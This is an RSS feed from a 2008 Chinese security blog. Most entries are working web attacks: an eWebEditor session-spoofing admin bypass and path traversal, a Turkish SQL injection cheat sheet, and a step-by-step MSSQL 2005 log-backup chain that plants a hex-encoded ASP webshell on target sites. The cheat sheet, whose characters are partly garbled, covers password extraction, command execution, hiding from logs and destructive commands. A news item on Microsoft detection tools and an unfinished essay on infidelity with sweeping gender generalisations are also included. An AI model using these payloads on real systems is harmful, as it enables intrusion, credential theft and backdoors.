<?xml version="1.0" encoding="GBK" ?>
<rss version="2.0" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:dcterms="http://purl.org/dc/terms/">
 <channel>
  	  <title><![CDATA[孤狐浪子&apos;Blog]]></title>
	  <link>http://itpro.blog.163.com</link>
	  <description><![CDATA[黑夜给我了黑色的眼睛，我却用他来寻找光明的来临！ 企业IT执行官,从事网络安全大型企业网络架构策划。熟练掌握,Citrix、sms2003、Wsus3.0、lcs2005、Linux、DPM、Exchange 2007、Mom 2005、SharePoint、SQLServer、Isa、群集、vpn、Erp等大型服务。----黑夜给我了黑色的眼睛,我却用他来寻找光明的来临！]]></description>
	  <language>zh-CN</language>
	  <pubDate>Sat, 19 Jul 2008 16:05:06 +0800</pubDate>
	  <lastBuildDate>Sat, 19 Jul 2008 16:05:06 +0800</lastBuildDate>
	  <docs>http://blogs.law.harvard.edu/tech/rss</docs>
	  <generator><![CDATA[NetEase Space]]></generator>
	  <managingEditor><![CDATA[itpro]]></managingEditor>
	  <webMaster><![CDATA[ItPro]]></webMaster>
		  <ttl>120</ttl>
	  <image>
	  	<title><![CDATA[孤狐浪子&apos;Blog]]></title>
	  	<url>http://ava.blog.163.com/photo/rwqN3eJE9L2o8qbaJS4-Cw==/173951535607608085.jpg</url>
	  	<link>http://itpro.blog.163.com</link>
	  </image>
  <item>
  	<title><![CDATA[EwebEdit]]></title>	
    <link>http://itpro.blog.163.com/blog/static/3179855720086194435978</link>
    <description><![CDATA[<div><P>eWebEditor在线编辑器<BR>漏洞文件:Admin_Private.asp<BR>漏洞语句:&lt;%<BR><BR>If Session("eWebEditor_User") = "" Then<BR>Response.Redirect "admin_login.asp"<BR>Response.End<BR>End If<BR><BR>只判断了session，没有判断cookies和路径的验证问题。<BR>漏洞利用:<BR>新建一个h4x0r.asp内容如下:<BR>&lt;%Session("eWebEditor_User") = "11111111"%&gt;<BR>访问h4x0r.asp，再访问后台任何文件，for example:Admin_Default.asp</P>
<P></P>
<P></P>
<P></P>
<P></P>
<P></P>
<P></P>
<DIV >SESSION欺骗本来多半就是用在虚拟机的&nbsp;&nbsp; SESSION是保存在服务端的 不同COOKIE&nbsp;&nbsp; 所以你本地运行那个SESSION对你的入侵没有效<BR>要在目标服务器运行不一定要把SESSION文件传到你目标站的目录的<BR><BR>例如你目标站是A站 A站跟B站是同一个服务器的.&nbsp;&nbsp; 你B站的WEBSHELL又不能直接跨目录到A站的目录.这时就在你B站的WEBSHELL里传SESSION文件就可以欺骗到A站的漏洞后台了</DIV>
<P>针对虚拟主机还是比较有用的<BR></P>
<DIV >ewebeditor/admin_uploadfile.asp<BR>过滤不严，造成遍历路径漏洞 <BR>ewebeditor/admin_uploadfile.asp?id=14<BR>在id=14后面添加&amp;dir=..<BR>再加 &amp;dir=../..<BR>&amp;dir=http://www.****.com/../.. 看到整个网站文件了</DIV></div>]]></description>
	    <author><![CDATA[ItPro]]></author>
	    <comments>http://itpro.blog.163.com/blog/static/3179855720086194435978</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://itpro.blog.163.com/blog/static/3179855720086194435978</guid>
    <pubDate>Sat, 19 Jul 2008 16:04:35 +0800</pubDate>
    <dcterms:modified>2008-07-19T16:04:35+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[ SQL Injection Referans&amp;#305;]]></title>	
    <link>http://itpro.blog.163.com/blog/static/3179855720086523742570</link>
    <description><![CDATA[<div><H3><A >&Ouml;n Bilgi</A></H3>
<P>Bir &ccedil;ok teknik sadece SQL Server’ da &ccedil;al??acakt?r.</P>
<H5></H5>
<H3><A >Referans</A></H3>
<OL>
<LI><B>“--“</B> SQL Cümleci?ini sonland?r?r (bu sayede arkadan gelen cümlecik handle edilmek zorunda kalmaz) 
</LI><LI><B>“;”</B> ?kinci SQL cümleci?inin &ccedil;al??mas?na izin verir </LI></OL>
<H5></H5>
<H3><A >Login Screen</A></H3>
<OL>
<LI>Login olabilme 
<UL>
<LI>admin’ – 
</LI><LI>‘ or 1=1— 
</LI><LI>... </LI></UL>
</LI><LI>Farkl? bir kullan?c? olarka login olma 
<UL>
<LI>‘ union select 1, ‘diger_user’, ‘birseyler_sifre’, 1-- </LI></UL></LI></OL>
<H3><A >Hatalardan ?lerleme (<I>yap?y? olu?turma I</I>)</A></H3>
<P><I>S?ras?yla..</I></P>
<OL>
<LI>‘ having 1=1 – 
</LI><LI>‘ group by <B>hatadangelen.id</B> having 1=1— 
</LI><LI>‘ group by <B>hatadangelen.id, gelenikinci.id, ü&ccedil;üncü.id </B>having 1=1—(<I>b&ouml;yle gider</I>) 
</LI><LI>Hata almay? bitirince tablo bitti demektir. 
</LI><LI>Ek olarak <B>order by</B> ile de union da ka&ccedil; kolon &ccedil;ekildi?i bulunabilir. 
<UL>
<LI><I>ORDER BY 1—</I> 
</LI><LI><I>ORDER BY 2—</I> </LI></UL></LI></OL>
<P><I>c. </I><I>… </I>bu ?ekilde ilerlenir. Hata verdi?i yer – 1 &ccedil;ekilen kolon say?s?n? g&ouml;sterir.<I></I></P>
<H3><A >Data Tiplerini Bulma (<I>yap?y? olu?turma II</I>)</A></H3>
<OL>
<LI>Always use <B>UNION</B> with <B>ALL </B>because of <B>image</B> similiar non-distinct field types. By default union tries to get records with distinct. 
</LI><LI>‘ union select sum(<B>tipibulunacakalan</B>) from <B>users</B>— <BR>Microsoft OLE DB Provider for ODBC Drivers error '80040e07' <BR>[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a <B>varchar</B> data type as an argument.<I> <BR></I>
</LI><LI>Hata kodu bize verdi?imiz alanin <B>varchar</B> oldu?unu s&ouml;yledi. 
</LI><LI>E?er hata kodu <B>union</B> i?lemi ile ilgiliyse yada hata gelmiyorsa verdi?imiz alan <B>numeric</B> demektir. 
</LI><LI>Union i?lemlerde NULL kullan?labilir <B>date, integer, string </B>in 3 tipinde de bu ge&ccedil;erli sonu&ccedil; verecektir. 
<UL>
<LI>11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- <BR>No Error - Syntax is right. MS SQL Server Used. Proceeding. 
</LI><LI>11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –- <BR>No Error – First column is an integer. 
</LI><LI>11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –- <BR>Error! – Second column is not an integer. 
</LI><LI>11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –- <BR>No Error – Second column is a string. 
</LI><LI>11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –- <BR>Error! – Third column is not an integer. ... </LI></UL>
</LI><LI>Convert ve Errorlar ile field tipi bulma - <I>convert(image,1)</I> 
<UL>
<LI>SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL— 
</LI><LI>Microsoft OLE DB Provider for SQL Server error '80040e07' <BR>Explicit conversion from data type <B>int</B> to image is not allowed. 
</LI><LI><B>You’ll get convert() errors before union target errors ! </B>So<B> </B>start with<B> </B>convert() then union<B></B> </LI></UL></LI></OL>
<H3><A >Data Ekleme</A></H3>
<UL>
<LI>'; insert into users values( 666, 'attacker', 'foobar', 0xffff )— </LI></UL>
<H3><A >Sistem Hakk?nda Bilgi Toplama</A></H3>
<P>Data convert i?lemlerinde SQL Server detayl? hata mesajlar? d&ouml;ndürür;</P>
<UL>
<LI>' union select @@version,1,1,1-- <BR>SQL Server versiyonunu d&ouml;ndürecektir. ( <B><I>Numerik alan ile union edilmeye &ccedil;al???lmal? !</I></B> ) </LI></UL>
<H3><A >Data Alma</A></H3>
<OL>
<LI>' union select min(<B>username</B>),1,1,1 from <B>users</B> where <B>username</B> &gt; '<B>admin</B>'-- <BR>Users tablosundaki username’ e integerlara uygulanan min() denedi?inden ve string i de &ccedil;ekmi? oldu?undan hata mesaj? olarak &ccedil;ekilmi? olan <B>username</B> gelecektir. 
</LI><LI>' union select password,1,1,1 from users where username = 'admin'— <BR>Bir &ouml;nceki i?lemde buldu?u username i direk union ile getiriyor 
</LI><LI>‘ Union All Select 1,1,1,1 FROM SysObjects WHERE ‘=’ 
</LI><LI>User defined Tables <BR>SELECT name FROM sysobjects WHERE xtype = ‘U’ 
</LI><LI>Field Getirme <BR>SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘ORDERS’) 
</LI><LI>Record ilerletme <BR>WHERE users NOT IN (‘First User’, ‘Second User’) 
</LI><LI>Record ilerletme 2 <BR>Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id&lt;=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21 </LI></OL>
<H3><A >Advanced Y&ouml;ntemler</A></H3>
<P>T-SQL ile bir tablodaki tüm datay? tek string haline getirip yeni bir temp tabloya insert etmek ve daha sonradan onu almak.</P>
<P>set @ret=':' <BR>select @ret=@ret+' '+username+'/'+password from users where username&gt;@ret <BR>select @ret as ret into foo <BR>end </P>
<P><I>The attacker 'logs in' with this 'username' (all on one line, obviously…) </I></P>
<OL>
<LI><B>Username:</B> '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username&gt;@ret select @ret as ret into foo end— 
</LI><LI>' union select ret,1,1,1 from foo-- <BR>convert hatas? alaca??ndan dolay? direk az &ouml;nce insert edilen stringleri getirir. <BR>
</LI><LI>Teoriye g&ouml;re e?er SQL Server Local System Account’ ? ile &ccedil;al???yorsa regread ile SAM account’ u okunabilir. <B>Default! </B>(xp_regread) 
</LI><LI>Linked serverlarda query &ccedil;al??t?r?labilir (openquery) 
</LI><LI>Custom Stored Procedure’ ler ile SQL Server Process’ i i&ccedil;erisinden exploit yaz?l?p &ccedil;al??t?rabilir. (sp_addextendedproc) 
</LI><LI>Bulk Insert ile serverdaki herhangi bir dosya okunabilir 
<UL>
<LI>create table foo( line varchar(8000) ) 
</LI><LI>bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp' 
</LI><LI>?imdi data bu yeni tablodan okunabilir, sonrada tablo drop edilebilir </LI></UL>
</LI><LI>Text dosyas? yazma (BCP – <B>Login bilgisi gerekli</B>) <BR>bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar 
</LI><LI>“sa” olarak login olduk mu? <BR><I>if (select user) = 'sa' waitfor delay '0:0:5' </I>
</LI><LI>ActiveX deste?inden dolay? scripting kullan?labilir (VBS, WSH) <BR><I>wscript.shell example <BR></I>declare @o int <BR>exec sp_oacreate 'wscript.shell', @o out <BR>exec sp_oamethod @o, 'run', NULL, 'notepad.exe' <BR><I>Username:</I> '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' -- <BR>
</LI><LI>SQL Server’? konu?turma (maymunluk olsun diye yap?labilir) 
</LI><LI>T?rnak Kullanmadan SQL Yazmak <BR>insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff) <BR><I>veya sadece numerik de?erler ile data girilebilir <BR></I><BR>insert into users values( 667, 123, 123, 0xffff) <BR><I>SQL Server integerlar? otomatik olarak varchar a &ccedil;eviriyor.</I> 
</LI><LI>Xx.asp?p=xx’; EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’ </LI></OL>
<H3><A >&Ouml;zel Tablolar</A></H3>
<OL>
<LI>Hata Mesajlar? <BR>select * from master..sysmessages 
</LI><LI>Linked Serverlar (openquery fonskiyonunu login olmadan kullanilabilir eger ki <I>sp_addlinkedsrvlogin</I> kullan?ld?ysa) <BR>master..sysservers 
</LI><LI>?ifreler, Loginler <BR>master..sysxlogins </LI></OL>
<H3><A >Tablo / Server Modifikasyon</A></H3>
<UL>
<LI>Tablo Silme <BR>'; drop table foo-- </LI></UL>
<H3><A >Functions</A></H3>
<OL>
<LI>SQL Server’ ? kapa (<I>shutdown</I>) <BR>‘; shutdown— 
</LI><LI>Bekleme (<I>waitfor delay</I>) <BR>Bir ?eyin pasif/gizli olarak &ccedil;al???p &ccedil;al??mad???n? anlamak i&ccedil;in <BR>waitfor delay '0:0:10'— <BR>kullan?m? &ccedil;ok verimlidir. Belirtilen süre kadar bekler. Bu sayede &ccedil;e?itli kontroller yap?labilir yada basit&ccedil;e harmless bir ?ekilde eklenen SQL cümleciklerinin ger&ccedil;ekten &ccedil;al???p &ccedil;al??mad??? kontrol edilebilir. </LI></OL>
<H5></H5>
<H3><A >Atak Gizleme</A></H3>
<P>SQL Server sp_password i&ccedil;eren SQL Querylerini güvenlik nediyle loglam?yor. Bu durumda her &ccedil;al??t?r?lan komut ard?ndan ‘–sp_password demek onun gizlenmesi i&ccedil;in yeterli. Bu sayede bir log olu?sa da i&ccedil;eri?i olu?muyor.</P>
<H5></H5>
<H3><A >SQL Injection Tespiti</A></H3>
<P>Normalde SQL Injection basit ?ekilde tek t?rnak (‘) vs. Koyarak &ccedil;?kan hataya g&ouml;re tespti edilebilir. Ancak baz? uygulamalar? hatalar? gizleyebilir, yada siz arkadaki yada hata oldu?unda direk varsay?landan devam etme gibi &ouml;zelliklere sahip olabilir. Bunun yan?nda bir di?er kritik sorunsa bir sistemde ne kadar &ccedil;ok hata verdirtirseniz bir analizde o kadar &ccedil;ok takip edilebilirsiniz. </P>
<P>Ek olarak software based server da &ccedil;al??an web firewall lar? genelde pattern olarak (<I>Snort gibi IDS lerde bu ?ekilde</I>) status code lar?nda “500” veya benzer hata kodlar?n? eklerler genelde bir &ccedil;ok “200“ status kodu dertsiz olarak bu filtreleri ge&ccedil;ebilir. Daha sonradan olay?n trace noktas?nda da bu bir kolayl?kt?r.</P>
<P>Bu noktada daha &ouml;nceden bahsi ge&ccedil;en “<I>waitfor delay</I>” kullan??l? bir fonksiyondur. Ek olarak daha da pratik mant?k SQL ün ayn? i?i yapmas?n? sa?layan queryler olu?turmakt?r, ama tabii ki t?rnak yada SQL de &ccedil;al??acak fonksiyonlar kullanarak.</P>
<OL>
<LI>product.asp?id=4 
<UL>
<LI>product.asp?id=5-1 
</LI><LI>product.asp?id=4 OR 1=1 </LI></UL>
</LI><LI>product.asp?name=Book 
<UL>
<LI>product.asp?name=Bo’+’ok 
</LI><LI>product.asp?name=Bo’ || ’ok (<I>ORACLE</I>) 
</LI><LI>product.asp?name=Book’ OR ‘x’=’x </LI></UL></LI></OL>
<H5></H5>
<H3><A >Stored Procedures</A></H3>
<OL>
<LI>Cmd Execute (<B>xp_cmdshell</B>) <BR>exec master..xp_cmdshell 'dir' 
</LI><LI>Registry ??lemleri (<B>xp_regread</B>) <BR>Registry’ e yazma okuma vs. ??lemleri. 
<UL>
<LI>xp_regaddmultistring 
</LI><LI>xp_regdeletekey 
</LI><LI>xp_regdeletevalue 
</LI><LI>xp_regenumkeys 
</LI><LI>xp_regenumvalues 
</LI><LI>xp_regread 
</LI><LI>xp_regremovemultistring 
</LI><LI>xp_regwrite <BR>exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' <BR>exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities' </LI></UL>
</LI><LI>Servisleri Kontrol Etmek (<B>xp_servicecontrol</B>) 
</LI><LI>Sistemdeki Medyalar? G&ouml;rme (<B>xp_availablemedia</B>) 
</LI><LI>Directory Tree sini alma (<B>xp_dirtree</B>) 
</LI><LI>ODBC Resourcelar? Listeleme (<B>xp_enumdsn</B>) 
</LI><LI>Login modeunu bulma (<B>xp_loginconfig</B>) 
</LI><LI>Cab Ar?iv Olu?turma (<B>xp_makecab</B>) 
</LI><LI>Domainleri Bulma (<B>xp_ntsec_enumdomains</B>) 
</LI><LI>PID ile process terminate etme (<B>xp_terminate_process</B>) 
</LI><LI>Yeni Strored Procedure Ekleme (istenilen kod SQL Server process i&ccedil;erisinde &ccedil;al??t?r?labilir) <BR>sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’ <BR>exec xp_webserver 
</LI><LI>Stored Procedure Silme (sp_dropextendedproc) 
</LI><LI>D??ar?ya UNC dahil dosya yazma (sp_makewebtask) </LI></OL>
<H3><A >Other</A></H3>
<UL>
<LI>OleDB driver ile &ccedil;al??t?r?lan SQL’ lerde union vs. Ler &ccedil;al??mayabilir 
</LI><LI>Execute() ile &ccedil;al??t?r?lanlar sa?lamd?r </LI></UL>
<H5></H5>
<H3><A >MySQL Injection</A></H3>
<UL>
<LI>After MySQL 4.0 you can “Union” queries 
</LI><LI>For SQL comments use <I>/*mysql comment*/</I> 
</LI><LI>Unions are just like SQL Server unions same fields, same types required 
</LI><LI>@@version is available, you can use it in unions 
</LI><LI>You can hex-encoded strings 
<UL>
<LI>select 'c:/boot.ini' 
</LI><LI><I>or</I> 
</LI><LI>select 0x633a2f626f6f742e696e69 </LI></UL>
</LI><LI>MySQL can load DLL and run arbitary code 
</LI><LI>Subqueries version 4.1+ 
</LI><LI>MySQL Passwords 
<UL>
<LI>In versions prior to 4.1, the password hash can be used to <BR>authenticate directly with the database. Just recompile MySQL Client to login with hash. 
</LI><LI>Other versions use SHA1 
</LI><LI>SELECT User,Password FROM mysql.user; 
</LI><LI>SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’; </LI></UL></LI></UL>
<H3><A >MySQL (<I>Custom</I>) Functions &amp; UDF</A></H3>
<UL>
<LI>substring 
<UL>
<LI>query.php?user=1+union+select+substring(load_file(0x633a2f626f6f742e696e69),60),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 </LI></UL>
</LI><LI>SELECT ... INTO DUMPFILE 
<UL>
<LI>Write query into a <B>new file </B>(<I>can not modify existing file</I>) </LI></UL>
</LI><LI>UDF Function 
<UL>
<LI>create function LockWorkStation returns integer soname 'user32'; 
</LI><LI>select LockWorkStation(); 
</LI><LI>create function ExitProcess returns integer soname 'kernel32'; 
</LI><LI>select exitprocess(); </LI></UL>
</LI><LI>SELECT USER(); 
</LI><LI>SELECT password,USER() FROM mysql.user; 
</LI><LI>First byte of admin hash 
<UL>
<LI>SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1; </LI></UL></LI></UL>
<H3><A >MySQL Samples</A></H3>
<P>&nbsp; UPDATE user <BR>&nbsp; SET Password=PASSWORD('crack') <BR>&nbsp; WHERE user='root'; <BR>&nbsp; FLUSH PRIVILEGES;</P>
<H3><A >MySQL Load_File</A></H3>
<UL>
<LI>With unions you can read a file 
</LI><LI>query.php?user=1+union+select+load_file(0x633a2f626f6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 </LI></UL>
<H3><A >MySQL Load Data Infile</A></H3>
<UL>
<LI><B>By default it’s not avaliable !</B> 
<UL>
<LI>create table foo( line blob ); <BR>load data infile 'c:/boot.ini' into table foo; <BR>select * from foo; </LI></UL></LI></UL>
<H3><A >Timing &amp; Blind MySQL Injection</A></H3>
<UL>
<LI>select benchmark( 500000, sha1( 'test' ) ); 
</LI><LI>query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 
</LI><LI>select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' ); 
</LI><LI><B>Enumeration data, Guessed Brute Force</B> 
<UL>
<LI>select if( (ascii(substring(user(),1,1)) &gt;&gt; 7) &amp; 1, benchmark(100000,sha1('test')), 'false' ); </LI></UL></LI></UL>
<H5></H5>
<H3><A >Stored Procedure Injection</A></H3>
<OL>
<LI>E?er SQL bir ?ekilde ASP ile unsafe parametrelerle olu?turulup g&ouml;nderiliyorsa bu güvenli de?ildir. Stored Procedure olsa bile. 
</LI><LI>E?er parametrelerde ADO Command gibi bir ?eyler ile g&ouml;nderiliyorsa ve do?ru implemente edildiyse güvenlidir. <BR>sp_who '1' select * from sysobjects <BR><I>or</I> <BR>sp_who '1'; select * from sysobjects </LI></OL>
<H3><A >Second Order SQL Injection</A></H3>
<P>Zor bir metod, temel olarak arda arda birbirinin datas?n?n kullanan SQL’ lerde kullan?labilir. Temel bo?luk bu tip yerlerde ikinci SQL birinci SQL den datay? ald???ndan ona g&ouml;zü kapal? güvenmesidir yani gelen data kullan?c?dan de?il de aplikasyondan geldi?inden tekrar kontrol edilmez <I>genelde</I>.</P>
<OL>
<LI>Bir sistemde yeni kullan?c? ?u ?ekilde olu?turulur; <BR>Username: admin'-- <BR>Password: password 
</LI><LI>Bu ?u Insert’ i &ccedil;al??t?r?r; <BR>insert into users values( 123, 'admin''--', 'password', 0xffff ) 
</LI><LI>?ifre de?i?tirme ekran?ndaki durum ?u ?ekilde olacakt?r; <BR><I>Kontrol; <BR></I>var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'"; 
</LI><LI>?ifre Update i?lemi; <BR>sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'" <BR><I>Bu ad?mda bir &ouml;nceki SQL d&ouml;nen username direk kulland???nda filtreden ge&ccedil;emeyece?inden direk olarak ?u SQL &ccedil;al??m?? olacakt?r; <BR></I>update users set password = 'password' where username = 'admin'--' <BR><I>Bu da admin ?ifresinin istenilen ?ifreye de?i?tirecektir.</I> </LI></OL>
<H3><A >Second Order Insert SQL Injection</A></H3>
<P>Form dolurulurken ?u ?ekilde doldurulur;</P>
<P><I>Name :</I> ‘ + (SELECT TOP 1 password FROM users ) + ’</P></div>]]></description>
	    <author><![CDATA[ItPro]]></author>
	    <comments>http://itpro.blog.163.com/blog/static/3179855720086523742570</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://itpro.blog.163.com/blog/static/3179855720086523742570</guid>
    <pubDate>Sat, 5 Jul 2008 14:37:42 +0800</pubDate>
    <dcterms:modified>2008-07-05T14:37:42+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[微软发布3款SQL Injection攻击检测工具  ]]></title>	
    <link>http://itpro.blog.163.com/blog/static/3179855720085278154936</link>
    <description><![CDATA[<div>随着 SQL INJECTION 攻击的明显增多，微软近日发布了三个免费工具，帮助网站管理员和检测存在的风险并对可能的攻击进行拦截。<BR><BR>Scrawlr <BR>下载地址：<A href="https://download.spidynamics.com/Products/scrawlr/" target=_blank><FONT color=#666666>https://download.spidynamics.com/Products/scrawlr/</FONT></A><A ></A><BR><BR>这个微软和 HP合作开发的工具，会在网站中爬行，对所有网页的查询字符串进行分析并发现其中的 SQL INJECTION 风险。Scrawlr 使用了部分 HP WebInspect&nbsp;&nbsp;相同的技术，但只检测 SQL INJECTION 风险。Scrawlr 从一个起始 URL 入口，爬遍整个网站，并对站点中所有网页进行分析以找到可能存在的漏洞。<BR><BR>Microsoft Source Code Analyzer for SQL Injection<BR>下载地址：<A href="http://www.microsoft.com/downloads/details.aspx?FamilyId=58A7C46E-A599-4FCB-9AB4-A4334146B6BA&amp;displaylang=en" target=_blank><FONT color=#666666>http://www.microsoft.com/downloads/details.aspx?FamilyId=58A7C46E-A599-4FCB-9AB4-A4334146B6BA&amp;displaylang=en</FONT></A><BR><BR>这款被称作 MSCASI 的工具可以检测 ASP 代码并发现其中的 SQL INJECTION 漏洞（ASP 代码以 SQL INJECTION 漏洞著称），你需要向 MSCASI 提供原始代码，MSCASI 会帮你找到存在风险的代码位置。<BR><BR>URLScan 3.0<BR>下载地址：<A href="http://www.iis.net/downloads/default.aspx?tabid=34&amp;g=6&amp;i=1697" target=_blank><FONT color=#666666>http://www.iis.net/downloads/default.aspx?tabid=34&amp;g=6&amp;i=1697</FONT></A><BR><BR>该工具会让 IIS 限制某些类型的 HTTP 请求，通过对特定 HTTP 请求进行限制，可以防止某些有害的请求在服务器端执行。UrlScan 通过一系列关键词发现恶意请求，并阻止恶意请求的执行<BR></div>]]></description>
	    <author><![CDATA[ItPro]]></author>
	    <comments>http://itpro.blog.163.com/blog/static/3179855720085278154936</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://itpro.blog.163.com/blog/static/3179855720085278154936</guid>
    <pubDate>Fri, 27 Jun 2008 08:01:54 +0800</pubDate>
    <dcterms:modified>2008-06-27T08:01:54+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[MSSQL 2005 LOG备份webshell]]></title>	
    <link>http://itpro.blog.163.com/blog/static/31798557200851135227546</link>
    <description><![CDATA[<div><P>注:转载就注入出自'孤孤浪子博客'原创</P>
<P><A href="http://itpro.blog.163.com">http://itpro.blog.163.com</A></P>
<P>各位拿站的朋友。是不是感觉到现在mssql2000一部分都升级到mssql2005了，目前网络上大多数log备份和差异备份都针对sql2000的数据库而开发的。那么碰到2005的数据库怎么办呢。不用急，请按照以下方式继续可以拿到webshell。by:孤狐浪子 qq:393214425</P>
<P>第一步</P>
<P><A href="http://itpro.blog.163.com/test.asp';alterdatabase[netwebhome]setrecoveryfull</A>--</P>
<P>第二步：<BR><A href="http://itpro.blog.163.com/test.asp';alterdatabase[netwebhome]setrecoveryinit--></A></P>
<P>第三步<BR><A href="http://itpro.blog.163.com/test.asp'';droptable[itpro</A>]--</P>
<P>第四步<BR><A href="http://itpro.blog.163.com/test.asp'';createtable[itpro]([a]image></A>)--</P>
<P>第五步<BR><A href="http://itpro.blog.163.com/test.asp';alterdatabase[netwebhome]setrecoveryinit--</P>
<P>第六步<BR><A href="http://itpro.blog.163.com/test.asp'';insertinto[itpro]([a])values(0x3C254578656375746528726571756573742822697470726F222929253E></A>)--</P>
<P>第七步<BR><A href="http://itpro.blog.163.com/test.asp';alterdatabase[netwebhome]setrecoveryinit--</P>
<P>第八步<BR><A href="http://itpro.blog.163.com/test.asp'';droptable[itpro></A>]--</P>
<P>第九步<BR><A href="http://itpro.blog.163.com/test.asp'';declare@dnvarchar(4000)select@d%3D0x640062006200610063006B00backuplog[netwebhome]todisk%3D@dwithinit</A>--</P>
<P>By:孤狐浪子 QQ:393214425<BR></P>"></A></P></div>]]></description>
	    <author><![CDATA[ItPro]]></author>
	    <comments>http://itpro.blog.163.com/blog/static/31798557200851135227546</comments>
    <slash:comments>5</slash:comments>
    <guid isPermaLink="true">http://itpro.blog.163.com/blog/static/31798557200851135227546</guid>
    <pubDate>Wed, 11 Jun 2008 15:52:27 +0800</pubDate>
    <dcterms:modified>2008-06-11T15:52:27+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[男人偷情为性、女人偷情为啥？]]></title>	
    <link>http://itpro.blog.163.com/blog/static/31798557200855956463</link>
    <description><![CDATA[<div><P style="TEXT-INDENT: 2em">书上见过一句话：在所有的婚外恋当中，男人偷情，目的为性，女人偷情性情交融。偷情对于男人来说，偷的就是偷的，偷到以后便不觉得那么珍惜了。而女人则往往错位，她们往往希望拥有偷的东西。 </P>
<P style="TEXT-INDENT: 2em">一个男人如果对一个女人产生了特别的情感，那么他刚开始的时候，接受的是你的上半身但日子久了，处心积虑想到的是如何得到身体。而女人呢，她最开始的感情也是从上半身开始的，她付出的纯粹是自己最真挚的东西。 </P>
<P style="TEXT-INDENT: 2em">男人得到女人后，会觉得累，那是因为男人得手后爱情开始变冷，而女人的爱情感觉则刚刚开始。 </P>
<P style="TEXT-INDENT: 2em">男人想得是如何结束情缘，女人则想得如何天长地久。把性与情分开，对男人是一种人性的浪漫，而对女人则是一种人性的折磨。 </P>
<P style="TEXT-INDENT: 2em">如果一个女人渴望用自己的下半身去挽留一段逝去的爱情，那么她未免太高估这个男人对她的迷恋。男人可以长久的倾慕一个女人，因为他对女人上半身的渴望超过了下半身。在这个疯狂的年代里，毕竟是少数。男人的猎取的本性是改变不了的。 </P>
<P style="TEXT-INDENT: 2em">所以聪明女人用身体思考，平庸女人用脸蛋思考，最笨的女人用下半身思考。 </P>
<P style="TEXT-INDENT: 2em">有人说人的一生要爱过三个人才算是真正的记住了爱情。既然如此，就不必用超出的那份痛苦去缅怀。留着你剩下的精力和时间，耐心的等待那即将出现的两个，也许那才是最完美的爱情！但不管是怎样的故事，请千万记住：爱情，从上半身开始！ </P>
<P style="TEXT-INDENT: 2em">有性的浪漫才让女人刻骨铭心、迷失自己。女人沦为了爱的俘虏，任何人也改变不了为奴隶的命运。为了情，女人甘愿当牛做马。女人都希望男人对他们好，但好的的标准则是情与性的统一。 </P>
<P style="TEXT-INDENT: 2em">聪明的女人因为太聪明，所以不把男人放在心上，她们便寂寞，痴心的女人伤痛后才知满心的伤痕无一处值得眩耀。 </P>
<P style="TEXT-INDENT: 2em">女人没有爱情时会嫌自己被浪费，怕错过了人生恋爱的好时光，被男人用旧才懂得爱情不过是春梦一场，那个让她死去活来的人不过是个再俗不过的人，于是后悔，于是就恨。 </P>
<P style="TEXT-INDENT: 2em">女人用真心去爱，换来总是伤害，像男人那样以采花摘草的心情去爱，又做不到。男人往往有了新的目标以后，遗弃老情人，这对他们来说，是很随意的事情。 </P>
<P style="TEXT-INDENT: 2em">男人始终自私，他会选择对自己最有利的选择。也许他曾经爱过，但那是过去的事。谁会为了百分百的爱而放弃千分之千的新恋情呢？但是对于痴情的女人来说，这很可能是最残忍的事情。痴情是女人的大敌。女人总是被动的，被引诱的女人一旦为情人抛弃或全部的理想在一夜之间化成泡影之后，就会深深地陷入一种绝望，滋生出的变态的报复心理。 </P>
